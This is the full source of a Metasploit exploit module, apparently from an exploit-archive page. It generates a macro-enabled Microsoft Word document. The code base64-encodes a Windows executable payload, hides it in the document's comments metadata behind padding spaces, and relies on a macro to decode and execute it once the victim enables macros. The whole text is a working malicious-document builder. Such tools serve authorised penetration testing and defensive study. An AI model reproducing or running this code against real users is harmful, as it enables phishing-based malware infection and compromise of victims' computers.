Microsoft Office Word Malicious Macro Execution

Published
Credit
Risk
2017.02.09
sinn3r
High
CWE
CVE
Local
Remote
N/A
N/A
Yes
No

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Office Word Malicious Macro Execution",
'Description' => %q{
This module generates a macro-enabled Microsoft Office Word document. The comments
metadata in the data is injected with a Base64 encoded payload, which will be
decoded by the macro and execute as a Windows executable.

For a successful attack, the victim is required to manually enable macro execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => 'win',
'Targets' =>
[
['Microsoft Office Word', {}],
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0
))

register_options([
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
], self.class)
end


def on_file_read(short_fname, full_fname)
buf = File.read(full_fname)

case short_fname
when /document\.xml/
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
when /core\.xml/
b64_payload = ' ' * 55
b64_payload << Rex::Text.encode_base64(generate_payload_exe)
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
end

# The original filename of __rels is actually ".rels".
# But for some reason if that's our original filename, it won't be included
# in the archive. So this hacks around that.
case short_fname
when /__rels/
short_fname.gsub!(/\_\_rels/, '.rels')
end

yield short_fname, buf
end


def package_docm(path)
zip = Rex::Zip::Archive.new

Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')

if File.directory?(file)
print_status("Packaging directory: #{file}")
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
end
end
end

zip.pack
end


def exploit
print_status('Generating our docm file...')
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
docm = package_docm(path)
file_create(docm)
super
end

end


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